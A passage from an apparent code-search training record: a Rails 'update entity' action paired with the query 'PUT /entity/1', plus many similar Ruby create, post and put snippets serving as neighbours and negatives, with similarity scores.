}\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(options)\n API::request(:post, 'entities', options)\n end", "def postEntityPhone( entity_id, number, trackable)\n params = Hash.new\n params['entity_id'] = entity_id\n params['number'] = number\n params['trackable'] = trackable\n return doCurl(\"post\",\"/entity/phone\",params)\n end", "def postEntityDocument( entity_id, name, filedata)\n params = Hash.new\n params['entity_id'] = entity_id\n params['name'] = name\n params['filedata'] = filedata\n return doCurl(\"post\",\"/entity/document\",params)\n end", "def entity_params\n params.require(:entity).permit(:name, :content, :url, :user_id)\n end", "def postEntityGroup( entity_id, group_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['group_id'] = group_id\n return doCurl(\"post\",\"/entity/group\",params)\n end", "def create\n @breadcrumb = 'create'\n @entity = Entity.new(params[:entity])\n @entity.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity, notice: crud_notice('created', @entity) }\n format.json { render json: @entity, status: :created, location: @entity }\n else\n @towns = towns_dropdown\n @provinces = provinces_dropdown\n @zipcodes = zipcodes_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def postBusinessJsonProcess( entity_id, json)\n params = Hash.new\n params['entity_id'] = entity_id\n params['json'] = json\n return doCurl(\"post\",\"/business/json/process\",params)\n end", "def create\n\n @entity = Entity.new()\n\n if params[:entity][:image]\n @entity.image = params[:entity][:image].read\n @entity.filename = params[:entity][:image].original_filename\n @entity.mine_type = params[:entity][:image].content_type\n end\n\n @entity.latitude = params[:entity][:latitude]\n @entity.longitude = params[:entity][:longitude]\n\n if @entity.save\n redirect_to(@entity, :notice => 'Photo was successfully created.')\n else\n render :action => \"new\"\n end\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity, notice: 'Entity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @entity }\n else\n format.html { render action: 'new' }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def putEntity( type, scope, country, trust, our_data)\n params = Hash.new\n params['type'] = type\n params['scope'] = scope\n params['country'] = country\n params['trust'] = trust\n params['our_data'] = our_data\n return doCurl(\"put\",\"/entity\",params)\n end", "def entity_params\n params.require(:entity).permit(:name, :description, :state, :extra_data)\n end", "def add entity\n @body.push(entity)\n end", "def postEntityList( entity_id, headline, body)\n params = Hash.new\n params['entity_id'] = entity_id\n params['headline'] = headline\n params['body'] = body\n return doCurl(\"post\",\"/entity/list\",params)\n end", "def fire_post(url_or_path, entity, options = {}, &block)\n url = absolute_url(url_or_path)\n headers = {:Accept => MEDIA_TYPE_JSON, :'Content-type' => ENCODED_MEDIA_TYPE_JSON}.\n merge(options.fetch(:headers, {}))\n headers = merge_log_weasel_header(headers)\n timeout = options.fetch(:timeout, Ladon.default_request_timeout)\n body = encode_entity(entity)\n response = Typhoeus::Request.post(url, headers: headers, timeout: timeout, body: body)\n handle_response(response, method: :post, url: url, default_data: options[:default_data],\n raise_on_error: options[:raise_on_error], &block)\n end", "def post(json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name].compact.join('/')\n url += \"/\"\n return HTTParty.post(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def create\n the_param = entity_params\n to = the_param.delete(:to)\n\n research_methods = the_param.delete(:research_methods)\n research_participants = the_param.delete(:research_participants)\n evidence_methods = the_param.delete(:evidence_methods)\n methodologies = the_param.delete(:methodologies)\n\n @entity = Entity.new(the_param)\n @entity.bibliographic = @bibliographic\n @entity.research_methods = ResearchMethod.where(id: research_methods).all\n @entity.research_participants = ResearchParticipant.where(id: research_participants).all\n @entity.evidence_methods = EvidenceMethod.where(id: evidence_methods).all\n @entity.methodologies = Methodology.where(id: methodologies).all\n # byebug\n\n respond_to do |format|\n if @entity.save\n\n # format.html { redirect_to [@bibliographic, @entity], notice: 'Entity was successfully created.' }\n format.html { redirect_to confirmed_list_bibliographics_path, notice: 'Entity was successfully created.' }\n\n #format.html { redirect_to send(to.to_s.concat('_path')), notice: 'Bibliographic was successfully created.' }\n\n format.html { redirect_to [@bibliographic, @entity], notice: 'Entity was successfully created.' }\n format.json { render :show, status: :created, location: @entity }\n else\n format.html { render :new }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @entity = Entity.find_my_title( entity_params[:title] )\n\n if @entity.nil?\n @entity = Entity.new(entity_params)\n else\n @entity.update(entity_params)\n end\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to '/', notice: 'Entidad creada.' }\n format.json { render action: 'show', status: :created, location: @entity }\n else\n format.html { render action: 'new' }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @conceptual_entity = ConceptualEntity.new(params[:conceptual_entity])\n\n respond_to do |format|\n if @conceptual_entity.save\n format.html { redirect_to @conceptual_entity, notice: 'Conceptual entity was successfully created.' }\n format.json { render json: @conceptual_entity, status: :created, location: @conceptual_entity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @conceptual_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def postEntityAdd( entity_id, add_referrer_url, add_referrer_name)\n params = Hash.new\n params['entity_id'] = entity_id\n params['add_referrer_url'] = add_referrer_url\n params['add_referrer_name'] = add_referrer_name\n return doCurl(\"post\",\"/entity/add\",params)\n end", "def postMatching_instruction( entity_id, entity_name)\n params = Hash.new\n params['entity_id'] = entity_id\n params['entity_name'] = entity_name\n return doCurl(\"post\",\"/matching_instruction\",params)\n end", "def create\n entity = _get_class.new(_entity_params)\n\n # do any object-specific processing, if any\n _process_on_create entity\n\n # Rails does not understand your route namespaces when inferring the route,\n # so it attempts <MODEL NAME>_url - a route which does not exist!\n # Adding symbols in front of the resource will allow Rails to infer the route correctly,\n # in the Company case, api_v1_company_url\n\n # When using `respond_with`, you don't need to use `if record.save` before a `respond_with` call.\n # Rails will check if the record saved successfully for you and render a 422 with errors if it failed to save.\n # Cannot use save! here since save! does not suppress the exceptions\n status = entity.save\n _maybe_log_errors 'create', entity\n respond_with :v2, entity, entity: _get_class\n end", "def create\n @entity = Entity.new(entity_params) \n @branch = Branch.new \n respond_to do |format|\n if @entity.save\n\n @branch.entity = @entity\n @branch.name = @entity.name\n @branch.initials = @entity.initials\n @branch.code = @entity.code\n @branch.mgr_name = @entity.mgr_name\n @branch.mgr_email = @entity.mgr_email\n @branch.mgr_tel = @entity.mgr_tel\n @branch.mgr_cel = @entity.mgr_cel\n @branch.municipality = @entity.municipality\n @branch.department = @entity.department\n @branch.address = @entity.address\n @branch.entype = @entity.entype\n \n @branch.save\n\n format.html { redirect_to @entity, notice: 'IPS creada exitosamente. Hicimos por ti una sede principal con los mismos datos, revísala!' }\n format.json { render :show, status: :created, location: @entity }\n else\n format.html { render :new }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @record = Location.new(params[:location]) \n @record.entity_id = current_user.entity._id\n\n @record.save!\n respond_to do |format|\n format.html { head :no_content }\n format.json { render json: {} }\n end\n end", "def create\n @entity_type = EntityType.new(entity_type_params)\n\n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to @entity_type, notice: 'Entity type was successfully created.' }\n format.json { render :show, status: :created, location: @entity_type }\n else\n format.html { render :new }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def postEntityCategory( entity_id, category_id, category_type)\n params = Hash.new\n params['entity_id'] = entity_id\n params['category_id'] = category_id\n params['category_type'] = category_type\n return doCurl(\"post\",\"/entity/category\",params)\n end", "def postEntitySpecial_offer( entity_id, title, description, terms, start_date, expiry_date, url)\n params = Hash.new\n params['entity_id'] = entity_id\n params['title'] = title\n params['description'] = description\n params['terms'] = terms\n params['start_date'] = start_date\n params['expiry_date'] = expiry_date\n params['url'] = url\n return doCurl(\"post\",\"/entity/special_offer\",params)\n end", "def postEntityTag( entity_id, tag, language)\n params = Hash.new\n params['entity_id'] = entity_id\n params['tag'] = tag\n params['language'] = language\n return doCurl(\"post\",\"/entity/tag\",params)\n end", "def postEntityAdvertiserCreate( entity_id, tags, locations, max_tags, max_locations, expiry_date, is_national, language, reseller_ref, reseller_agent_id, publisher_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['tags'] = tags\n params['locations'] = locations\n params['max_tags'] = max_tags\n params['max_locations'] = max_locations\n params['expiry_date'] = expiry_date\n params['is_national'] = is_national\n params['language'] = language\n params['reseller_ref'] = reseller_ref\n params['reseller_agent_id'] = reseller_agent_id\n params['publisher_id'] = publisher_id\n return doCurl(\"post\",\"/entity/advertiser/create\",params)\n end", "def entity_params\n params.require(:entity).permit(:name, :account)\n end", "def entity_params\n params.require(:entity).permit(:name, :status_id, :registration_name, :website, :twitter, :linkedin, :finantial_year, :internal_owner_id)\n end", "def create\n render json: Post.create(params[\"post\"])\n end", "def postEntityStatus( entity_id, status, inactive_reason, inactive_description)\n params = Hash.new\n params['entity_id'] = entity_id\n params['status'] = status\n params['inactive_reason'] = inactive_reason\n params['inactive_description'] = inactive_description\n return doCurl(\"post\",\"/entity/status\",params)\n end", "def entity_params\n params.require(:entity).permit(:bot_id, :user_id, :name, :key, :intent)\n end", "def create(entity)\n @dataset.create(\n _serialize(entity)\n )\n end", "def create(entity)\n @dataset.create(\n _serialize(entity)\n )\n end", "def postEntityBackground( entity_id, number_of_employees, turnover, net_profit, vat_number, duns_number, registered_company_number)\n params = Hash.new\n params['entity_id'] = entity_id\n params['number_of_employees'] = number_of_employees\n params['turnover'] = turnover\n params['net_profit'] = net_profit\n params['vat_number'] = vat_number\n params['duns_number'] = duns_number\n params['registered_company_number'] = registered_company_number\n return doCurl(\"post\",\"/entity/background\",params)\n end", "def postEntityDescription( entity_id, headline, body, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['headline'] = headline\n params['body'] = body\n params['gen_id'] = gen_id\n return doCurl(\"post\",\"/entity/description\",params)\n end", "def rm_create path, entity, data, msg\n\n rmp = nil\n re = rm_request path, entity => data\n chk (re.code!='201'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n rmp = JSON.parse(re.body)[entity] rescue nil\n chk !rmp, msg + \"\\n#{re.body.inspect}\\n\\n\"\n return rmp\n\nend", "def new\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def post\n resource.post(request, response)\n end", "def postEntityClaim( entity_id, claimed_user_id, claimed_reseller_id, expiry_date, claimed_date, claim_method, phone_number, referrer_url, referrer_name)\n params = Hash.new\n params['entity_id'] = entity_id\n params['claimed_user_id'] = claimed_user_id\n params['claimed_reseller_id'] = claimed_reseller_id\n params['expiry_date'] = expiry_date\n params['claimed_date'] = claimed_date\n params['claim_method'] = claim_method\n params['phone_number'] = phone_number\n params['referrer_url'] = referrer_url\n params['referrer_name'] = referrer_name\n return doCurl(\"post\",\"/entity/claim\",params)\n end", "def postEntityImage( entity_id, filedata, image_name)\n params = Hash.new\n params['entity_id'] = entity_id\n params['filedata'] = filedata\n params['image_name'] = image_name\n return doCurl(\"post\",\"/entity/image\",params)\n end", "def create\n @entity = Entity.new(params[:entity])\n @entity.company_id = session[:company_id]\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to(session[:company_id].c, :notice => 'Entity was successfully created.') }\n format.xml { render :xml => @entity, :status => :created, :location => @entity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def entity_params\n params.require(:entity).permit(:name, :database, :domain)\n end", "def create\n megam_rest.post_node(to_hash)\n end", "def putEntityserve( entity_id, country, event_type, domain, path)\n params = Hash.new\n params['entity_id'] = entity_id\n params['country'] = country\n params['event_type'] = event_type\n params['domain'] = domain\n params['path'] = path\n return doCurl(\"put\",\"/entityserve\",params)\n end", "def create\n @EntityObject = EntityObject(params)\n if @EntityObject\n @entity_tag = @EntityObject.entity_tags.create(params[:entity_tag])\n @entity_tags = @EntityObject.entity_tags.reload\n else\n @entity_tag = EntityTag.new(params[:entity_tag])\n\n respond_to do |format|\n if @entity_tag.save\n format.html { redirect_to @entity_tag, notice: 'Entity tag was successfully created.' }\n format.json { render json: @entity_tag, status: :created, location: @entity_tag }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_tag.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @breadcrumb = 'create'\n @entity_type = EntityType.new(params[:entity_type])\n @entity_type.created_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to @entity_type, notice: crud_notice('created', @entity_type) }\n format.json { render json: @entity_type, status: :created, location: @entity_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def entity_params\n params.require(:entity).permit(:name, :initials, :code, :mgr_name, :mgr_email, :mgr_tel, :mgr_cel, :municipality, :department, :address, :entype, :cost_id, :rate_id, :tax_id)\n end", "def create_entity(entity, aliases)\n store_entity(entity, aliases)\n end", "def postEntityPayment_type( entity_id, payment_type)\n params = Hash.new\n params['entity_id'] = entity_id\n params['payment_type'] = payment_type\n return doCurl(\"post\",\"/entity/payment_type\",params)\n end", "def create(entity)\n unless entity.id\n @adapter.create(collection, entity)\n end\n\n entity\n end", "def create(entity)\n raise Occi::Api::Client::Errors::NotImplementedError, \"#{__method__} is just a stub!\"\n end", "def create\n res = self.class.post('/', body: attrs)\n res.created?\n end", "def postEntityInvoice_address( entity_id, building_number, address1, address2, address3, district, town, county, province, postcode, address_type)\n params = Hash.new\n params['entity_id'] = entity_id\n params['building_number'] = building_number\n params['address1'] = address1\n params['address2'] = address2\n params['address3'] = address3\n params['district'] = district\n params['town'] = town\n params['county'] = county\n params['province'] = province\n params['postcode'] = postcode\n params['address_type'] = address_type\n return doCurl(\"post\",\"/entity/invoice_address\",params)\n end", "def entity_params\n params.require(:entity).permit(:name, :address, :type_, :jurisdiction, :number_of_assets,\n :date_of_formation, :m_date_of_formation, :number_of_share,\n :has_comma, :legal_ending)\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @entity_contact = EntityContact.new(params[:entity_contact])\n\n respond_to do |format|\n if @entity_contact.save\n format.html { redirect_to @entity_contact, notice: 'Entity contact was successfully created.' }\n format.json { render json: @entity_contact, status: :created, location: @entity_contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @entity_type = EntityType.new(entity_type_params)\n @entity_type.collection_id = @collection.id\n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully created.' }\n format.json { render :show, status: :created, location: @entity_type }\n else\n format.html { render :new }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end", "def post\n Rentlinx.client.post(self)\n end", "def entity_params\n params.require(:entity).permit(:image, :latitude, :longitude, :mine_type, :filename)\n end", "def postWebcard( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"post\",\"/webcard\",params)\n end", "def create\n @entity_mapping = EntityMapping.new(params[:tapir_entity_mapping])\n\n respond_to do |format|\n if @entity_mapping.save\n format.html { redirect_to @entity_mapping, notice: 'Entity mapping was successfully created.' }\n format.json { render json: @entity_mapping, status: :created, location: @entity_mapping }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_mapping.errors, status: :unprocessable_entity }\n end\n end\n end", "def postEntityEmail( entity_id, email_address, email_description)\n params = Hash.new\n params['entity_id'] = entity_id\n params['email_address'] = email_address\n params['email_description'] = email_description\n return doCurl(\"post\",\"/entity/email\",params)\n end", "def _process_on_create(entity)\n end", "def create\n @post = Post.create(post_params)\n puts \"LLLLLOOOOOOOLLLLLL\"\n puts current_usuario.to_json\n @post = current_usuario.posts.create(post_params)\n \n @post.sangre = current_usuario.tipoDeSangre\n\n\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(entity)\n entity_id = get_id(entity);\n if entity_id.nil?\n create(entity)\n else\n put(resource_path_for_entity(entity) + \"/#{entity_id}\", entity.to_json)\n end\n end", "def postEntityClaimReseller( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"post\",\"/entity/claim/reseller\",params)\n end", "def postEntityFax( entity_id, number, description)\n params = Hash.new\n params['entity_id'] = entity_id\n params['number'] = number\n params['description'] = description\n return doCurl(\"post\",\"/entity/fax\",params)\n end", "def create\n respond_with Post.create(post_params)\n end", "def postEntityPostal_address( entity_id, building_number, address1, address2, address3, district, town, county, province, postcode, address_type, do_not_display)\n params = Hash.new\n params['entity_id'] = entity_id\n params['building_number'] = building_number\n params['address1'] = address1\n params['address2'] = address2\n params['address3'] = address3\n params['district'] = district\n params['town'] = town\n params['county'] = county\n params['province'] = province\n params['postcode'] = postcode\n params['address_type'] = address_type\n params['do_not_display'] = do_not_display\n return doCurl(\"post\",\"/entity/postal_address\",params)\n end", "def create\n @client = Client.find(params[:client_id])\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to(client_entities_url(@client), :notice => \"Entity was successfully created. #{undo_link}\") }\n else\n # load in the form config so we can re-construct the form\n load_form_config\n\n format.html { render :action => \"new\" }\n end\n end\n end", "def create_remote(entity)\n log_event(\"[I] Creating remote user #{entity.id} (#{entity.uuid})\")\n @entity = entity\n rest(:post, PATH, data_for_remote)\n end", "def body_entity(entity_id)\n {\n :entity_id => entity_id,\n :options => {\"pretty\"=>\"true\"}\n }\n end", "def create\n @entity = get_new(params)\n @entity.type = get_type\n @entity.verbindung_id = current_user.verbindung_id\n @entity.creator = current_user.id\n @entity.last_edited_by = current_user.id\n @verbindung = Verbindung.find(current_user.verbindung_id)\n if !has_access_to_verbindung(@verbindung) then return end\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to :action => 'index', notice: 'Event was successfully created.' }\n format.json { render json: @entity, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end", "def create\n @tipo_entidade = TipoEntidade.new(tipo_entidade_params)\n\n respond_to do |format|\n if @tipo_entidade.save\n format.html { redirect_to @tipo_entidade, notice: 'Tipo entidade was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_entidade }\n else\n format.html { render :new }\n format.json { render json: @tipo_entidade.errors, status: :unprocessable_entity }\n end\n end\n end", "def postEntityAdvertiserTag( gen_id, entity_id, language, tags_to_add, tags_to_remove)\n params = Hash.new\n params['gen_id'] = gen_id\n params['entity_id'] = entity_id\n params['language'] = language\n params['tags_to_add'] = tags_to_add\n params['tags_to_remove'] = tags_to_remove\n return doCurl(\"post\",\"/entity/advertiser/tag\",params)\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def update\n begin\n entity = Tagger::EntityTag.create_entity_tags(params)\n render json: { \"#{Tagger.tagged_resource}\": entity, tags: entity.tags }, status: 201\n rescue Exception => e\n render json: { error: \"Unprocessable entity\" }, status: 422\n end\n end", "def create\n @entity_status = EntityStatus.new(entity_status_params)\n\n respond_to do |format|\n if @entity_status.save\n format.html { redirect_to entity_statuses_path, notice: 'Entity status was successfully created.' }\n format.json { render :show, status: :created, location: @entity_status }\n else\n format.html { render :new }\n format.js { render :new }\n format.json { render json: @entity_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @entity = @klass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end" ]
[ "0.8035309", "0.71289855", "0.70677793", "0.69814897", "0.69514555", "0.6844975", "0.67846", "0.6664661", "0.66111666", "0.6587035", "0.657915", "0.6563162", "0.65427953", "0.6413452", "0.6398687", "0.63802665", "0.6340329", "0.6334677", "0.6317732", "0.62797606", "0.62681746", "0.6244153", "0.6240537", "0.6230106", "0.6198005", "0.6189408", "0.6187442", "0.6170986", "0.61626756", "0.6153395", "0.6148329", "0.61375517", "0.6108555", "0.6103453", "0.60912794", "0.6085937", "0.6071562", "0.60482484", "0.6017973", "0.6016513", "0.601336", "0.60104597", "0.59952044", "0.59948665", "0.59809905", "0.5980269", "0.5959667", "0.5958419", "0.59449863", "0.59338295", "0.5927177", "0.5927177", "0.5920714", "0.5906596", "0.59050256", "0.5900668", "0.5895825", "0.5893593", "0.5888245", "0.5860896", "0.585293", "0.5838621", "0.5833096", "0.58319885", "0.58255255", "0.5824182", "0.5818372", "0.58181334", "0.5816691", "0.58080184", "0.57985026", "0.5794259", "0.57927465", "0.57926697", "0.57875746", "0.57842666", "0.57632226", "0.5751087", "0.57234144", "0.5721146", "0.5717456", "0.5716855", "0.57112974", "0.57110494", "0.57065207", "0.5703324", "0.5678724", "0.5677968", "0.567216", "0.565745", "0.5657186", "0.5653727", "0.56509686", "0.5647522", "0.5647385", "0.5628844", "0.56276196", "0.5621051", "0.56153184", "0.56003344" ]
0.5708385
84
PUT /entity/1 PUT /entity/1.json
def update @entity = @klass.find(params[:id]) respond_to do |format| if @entity.update_attributes(params[@klass.table_name.singularize]) format.html { redirect_to admin_entity_url(entity: @klass_path, id: @entity.id), notice: "#{@klass.model_name.capitalize} was successfully updated." } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @entity.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update(entity)\n entity_id = get_id(entity);\n if entity_id.nil?\n create(entity)\n else\n put(resource_path_for_entity(entity) + \"/#{entity_id}\", entity.to_json)\n end\n end", "def update\n begin\n @resource = Entity.find params[:id]\n @resource.update_attributes! params[:entity]\n render :response => :PUT\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end", "def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def update\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n if @entity.update_attributes(params[:entity])\n format.html { redirect_to @entity, notice: 'Entity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n if singular_resource?\n entity = ConnecEntity.where(group_id: @group_id, entity_name: entities_key).first\n entity ||= ConnecEntity.create(group_id: @group_id, entity_name: entities_key)\n else\n entity = ConnecEntity.where(group_id: @group_id, entity_name: entities_key, uid: params[:id]).first\n end\n \n entity.document = (entity.document || {}).merge(params[entities_key])\n \n if entity\n if entity.save\n logger.info(\"INSPECT: #{entities_key} => #{process_entity(entity.reload).to_json}\")\n render json: { entities_key => process_entity(entity.reload) }\n else\n render json: { errors: process_errors(entity.errors.full_messages, 400, entity) }, status: :bad_request\n end\n else\n render json: { errors: process_errors([\"Resource not found\"], 404) }, status: :not_found\n end\n end", "def put(*args)\n request :put, *args\n end", "def putEntityserve( entity_id, country, event_type, domain, path)\n params = Hash.new\n params['entity_id'] = entity_id\n params['country'] = country\n params['event_type'] = event_type\n params['domain'] = domain\n params['path'] = path\n return doCurl(\"put\",\"/entityserve\",params)\n end", "def update\n if @entity.update(_entity_params)\n #respond_with @entity, entity: _get_class\n render :json => @entity\n else\n # TODO: no code coverage in tests - figure out a way to get this to execute\n _maybe_log_errors 'update', @entity\n respond_with(@entity, status: :unprocessable_entity, json: @entity.errors, entity: _get_class)\n end\n end", "def update!(**args)\n @entity = args[:entity] if args.key?(:entity)\n @resource = args[:resource] if args.key?(:resource)\n end", "def update\n respond_to do |format|\n if @entity.update(entity_params)\n format.html { redirect_to @entity.entity ? @entity.entity : entities_path, notice: 'Entity was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity }\n else\n format.html { render :edit }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @entity.update(entity_params)\n format.html { redirect_to @entity, notice: 'Entity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @entity.update(entity_params)\n format.html { redirect_to entity_url(@entity), notice: 'Entity was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity }\n else\n format.html { render :edit }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def putEntity( type, scope, country, trust, our_data)\n params = Hash.new\n params['type'] = type\n params['scope'] = scope\n params['country'] = country\n params['trust'] = trust\n params['our_data'] = our_data\n return doCurl(\"put\",\"/entity\",params)\n end", "def update\n entity_data = entity_params\n entity_data[:uid] = @entity.uid\n cmd = Commands::Entities::EditEntity.new(entity_data)\n execute(cmd)\n redirect_to entities_url, success: 'Entity was successfully updated.'\n rescue => error\n redirect_to edit_entity_url, warning: error_messages(error)\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def save_entity(entity)\n result = service.put(entity.path, entity)\n entity[:updatedAt] = result[:updatedAt]\n entity[:createdAt] = result[:createdAt]\n entity\n end", "def fire_put(url_or_path, entity, options = {}, &block)\n url = absolute_url(url_or_path)\n headers = {:Accept => MEDIA_TYPE_JSON, :'Content-type' => ENCODED_MEDIA_TYPE_JSON}.\n merge(options.fetch(:headers, {}))\n headers = merge_log_weasel_header(headers)\n timeout = options.fetch(:timeout, Ladon.default_request_timeout)\n body = encode_entity(entity)\n response = Typhoeus::Request.put(url, headers: headers, timeout: timeout, body: body)\n handle_response(response, method: :put, url: url, default_data: options[:default_data],\n raise_on_error: options[:raise_on_error], &block)\n end", "def put_and_give_me_a_json(additional_path, entity)\n if self.service_base_path != nil\n \n additional = \"\"\n if additional_path != nil\n additional = \"/#{additional_path}\"\n end\n \n message = self.http_client.put \"#{self.base_url}#{self.service_base_path}#{additional}.json?api_key=#{self.access_token}\", entity.to_hash\n trata_erro(message.content)\n end\n end", "def put(*args)\n request(:put, *args)\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update!(**args)\n @entity = args[:entity] if args.key?(:entity)\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update(entity)\n serialized_entity = _serialize(entity)\n update_one('$set' => serialized_entity)\n _deserialize(serialized_entity)\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def update\n respond_to do |format|\n if @entity.update(entity_params)\n format.html { redirect_to @entity, notice: 'Entidad actualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def update\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n if @entity.update_attributes(params[:entity])\n format.html { redirect_to(session[:company_id].c, :notice => 'Entity was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(entity)\n return unless entity\n return unless entity.id\n\n address = Core::Dal::Address.find(entity.id)\n return unless address\n\n address.update(entity.to_json)\n address.save!\n entity.id\n end", "def update!(**args)\n @entity = args[:entity] if args.key?(:entity)\n @type = args[:type] if args.key?(:type)\n end", "def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end", "def update!(**args)\n @entity = args[:entity] if args.key?(:entity)\n @format = args[:format] if args.key?(:format)\n @present = args[:present] if args.key?(:present)\n @semantic = args[:semantic] if args.key?(:semantic)\n @taxonomic = args[:taxonomic] if args.key?(:taxonomic)\n end", "def update\n respond_to do |format|\n if @entity.update(entity_params)\n format.html { redirect_to entities_path, notice: 'IPS editada exitosamente.' }\n format.json { render :show, status: :ok, location: @entity }\n else\n format.html { render :edit }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @entity_tag = EntityTag.find(params[:id])\n\n respond_to do |format|\n if @entity_tag.update_attributes(params[:entity_tag])\n format.html { redirect_to @entity_tag, notice: 'Entity tag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entity_tag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @conceptual_entity = ConceptualEntity.find(params[:id])\n\n respond_to do |format|\n if @conceptual_entity.update_attributes(params[:conceptual_entity])\n format.html { redirect_to @conceptual_entity, notice: 'Conceptual entity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conceptual_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args, &block)\n self.client.put *args\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def put(path, body = nil, ctype = 'application/json')\n 